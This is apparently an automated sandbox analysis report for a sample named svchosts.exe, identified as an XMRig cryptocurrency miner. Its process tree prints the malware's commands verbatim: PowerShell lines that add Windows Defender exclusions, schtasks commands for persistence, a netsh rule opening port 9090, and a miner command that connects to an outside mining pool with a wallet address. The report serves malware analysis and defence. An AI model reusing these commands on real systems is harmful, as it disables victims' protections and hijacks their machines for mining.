Analysis
- max time kernel
148s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
30/07/2026, 07:14
General
- Target svchosts.exe
- Size 1.0MB
- Sample260730-h2w75adf49
- SHA256 22416b01ca8abb051b0a6aba45892101d106a34b0304769d377740a651cb97bd
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 24 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 21 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\svchosts.exe"C:\Users\Admin\AppData\Local\Temp\svchosts.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /delete /tn "svchosts" /f2⤵
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /create /tn "svchosts" /xml "C:\Users\Admin\AppData\Local\Temp\svchosts.xml" /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe"C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks.exe" /query /tn "svchosts"3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall show rule name="9090"3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall add rule name="9090" dir=in action=allow protocol=TCP localport=90903⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o gulf.moneroocean.stream:10128 -u 8AwCmBpRMGPcGKubN2oBcGWaXE6MmAGyKLaj8pL4ugCVeQzizg3YdfKaquGAvGhJh5F9ed7T1wfriRZSZ7sfgJEg5i1pjMs.rig_cpu -p MyRig -k --cpu-max-threads-hint=50 --http-enabled --http-port=90903⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exeC:\Users\Admin\AppData\Roaming\WindowsServices\svchosts.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"schtasks.exe" /query /tn "svchosts"2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
svchosts.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ixb50ghq.y1y.ps1
svchosts.xml
svchosts.exe
memory/2936-40-0x000001FEB27D0000-0x000001FEB293A000-memory.dmp
memory/3912-5-0x000002759FE40000-0x000002759FE50000-memory.dmp
memory/3912-6-0x000002759FE40000-0x000002759FE50000-memory.dmp
memory/3912-12-0x0000027587A40000-0x0000027587A62000-memory.dmp
memory/3912-17-0x00000275A1FC0000-0x00000275A21DC000-memory.dmp
memory/4624-71-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-82-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-84-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-83-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-60-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-64-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-73-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-81-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-78-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-79-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-80-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-57-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-77-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-68-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-72-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-75-0x000001E34EBA0000-0x000001E34EBC0000-memory.dmp
memory/4624-59-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-70-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-69-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-67-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-66-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-65-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-63-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-62-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/4624-61-0x0000000140000000-0x00000001408CD000-memory.dmp
memory/5248-41-0x000000001DEA0000-0x000000001DEA1000-memory.dmp
memory/5248-29-0x000000001E2D0000-0x000000001E2E2000-memory.dmp
memory/5248-58-0x0000000020F40000-0x0000000020F41000-memory.dmp
memory/5248-74-0x0000000020F50000-0x0000000020F51000-memory.dmp
memory/5248-56-0x0000000020F30000-0x0000000020F31000-memory.dmp
memory/5248-54-0x0000000020F10000-0x0000000020F11000-memory.dmp
memory/5248-43-0x000000001DEC0000-0x000000001DEC1000-memory.dmp
memory/5248-42-0x000000001DEB0000-0x000000001DEB1000-memory.dmp
memory/5280-4-0x00000000012E0000-0x00000000012FA000-memory.dmp
memory/5280-1-0x0000000001210000-0x0000000001220000-memory.dmp
memory/5280-2-0x000000001C300000-0x000000001C3B2000-memory.dmp
memory/5280-3-0x000000001C9B0000-0x000000001CB6E000-memory.dmp
memory/5280-0-0x0000000000740000-0x0000000000846000-memory.dmp